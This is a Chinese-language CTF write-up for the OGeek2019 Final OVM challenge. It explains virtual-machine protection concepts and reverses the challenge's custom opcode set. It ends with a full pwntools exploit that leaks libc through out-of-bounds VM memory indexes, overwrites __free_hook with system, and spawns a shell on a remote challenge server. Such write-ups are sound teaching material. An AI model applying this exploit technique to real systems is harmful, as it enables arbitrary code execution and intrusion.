VMPWN
1.虚拟机保护技术
所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。
2.VStartVM
虚拟机的入口函数,对虚拟机环境进行初始化
3.VMDispather
解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环
4.opcode
程序可执行代码转换成的操作码
[OGeek2019 Final]OVM
题目除canary以外保护全开,简单分析一下程序
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &pc_0);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &sp_0);
getchar();
reg[13] = sp_0;
reg[15] = pc_0;
一开始会让我们输入PC与SP的值,并存入reg[13]与reg[15]中
PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。
SP 指针寄存器,永远指向当前的栈顶。
然后输入CODE SIZE,大小限制在0x10000以内。接下来输入code并存入memory中
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; code_size > i; ++i )
{
_isoc99_scanf("%d", &memory[pc_0 + i]);
if ( (memory[i + pc_0] & 0xFF000000) == 0xFF000000 )
memory[i + pc_0] = 0xE0000000;
getchar();
}
接下来进入一个while循环,fetch函数令PC+1从memory中读入下一条指令
__int64 fetch()
{
int pc; // eax
pc = reg[15];
reg[15] = pc + 1;
return memory[pc];
}
在execute函数便是我们需要逆向的指令集内容,可以看出我们需要输入的opcode格式
操作码 | 目标寄存器 | 操作数2寄存器 | 操作数1寄存器
经过分析后得到以下结果
0x10: mov reg[dst], num
0x20: mov reg[dst], 0
0x30: reg[dst] = memory[reg[op1]]
0x40: memory[reg[op1]] = reg[dst]
0x50: push
0x60: pop
0x70: add
0x80: sub
0x90: and
0xa0: or
0xb0: xor
0xc0: <<
0xd0: >>
0xe0®[13]==0: exit and show
exp:
from pwn import *
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def opcode(hand,dst,op2,op1):
res = hand<<24
res+= dst<<16
res+= op2 <<8
res+= op1
return str(res)
# p = process('./VM')
p = remote('node4.buuoj.cn','27830')
libc = ELF('libc-2.23_64bit.so')
# gdb.attach(p,'b *$rebase(0xEBC)')
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ','23')
# copy stderr in reg[2]®[3]
sl(opcode(0x10,0,0,26)) #reg[0]=26
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,4,1,0)) #reg[4]=reg[1]-reg[0]=-26
sl(opcode(0x30,2,0,4)) #reg[2]=memory[-26]
sl(opcode(0x10,0,0,25)) #reg[0]=25
sl(opcode(0x80,4,1,0)) #reg[4]=reg[1]-reg[0]=-25
sl(opcode(0x30,3,0,4)) #reg[3]=memory[-25]
# reg[2]®[3]==_free_hook-0x8
sl(opcode(0x10,0,0,1)) #reg[0]=1
sl(opcode(0x10,1,0,12)) #reg[1]=12
sl(opcode(0xc0,4,0,1)) #reg[4]=1<<12=0x1000
sl(opcode(0x10,0,0,0xa)) #reg[0]=0xa
sl(opcode(0x10,1,0,4)) #reg[1]=4
sl(opcode(0xc0,5,0,1)) #reg[5]=0xa<<4=0xa0
sl(opcode(0x70,4,4,5)) #reg[4]=0x1000+0xa0
sl(opcode(0x70,2,2,4)) #reg[2]=reg[2]+reg[4]
# change comment to __free_hook-0x8
sl(opcode(0x10,0,0,8)) #reg[0]=8
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,4,1,0)) #reg[4]=-8
sl(opcode(0x40,2,0,4)) #memory[-8]=reg[2]
sl(opcode(0x10,0,0,7)) #reg[0]=7
sl(opcode(0x80,4,1,0)) #reg[4]=-7
sl(opcode(0x40,3,0,4)) #memory[-7]=reg[3]
sl(opcode(0xe0,0,0,0))
ru('R2: ')
low = int(rud('\n'),16)
ru('R3: ')
high = int(rud('\n'),16)
f_hook = (high<<32)+low+8
base = f_hook-libc.sym['__free_hook']
system = base+libc.sym['system']
sla('HOW DO YOU FEEL AT OVM?','/bin/sh\x00'+p64(system))
shell()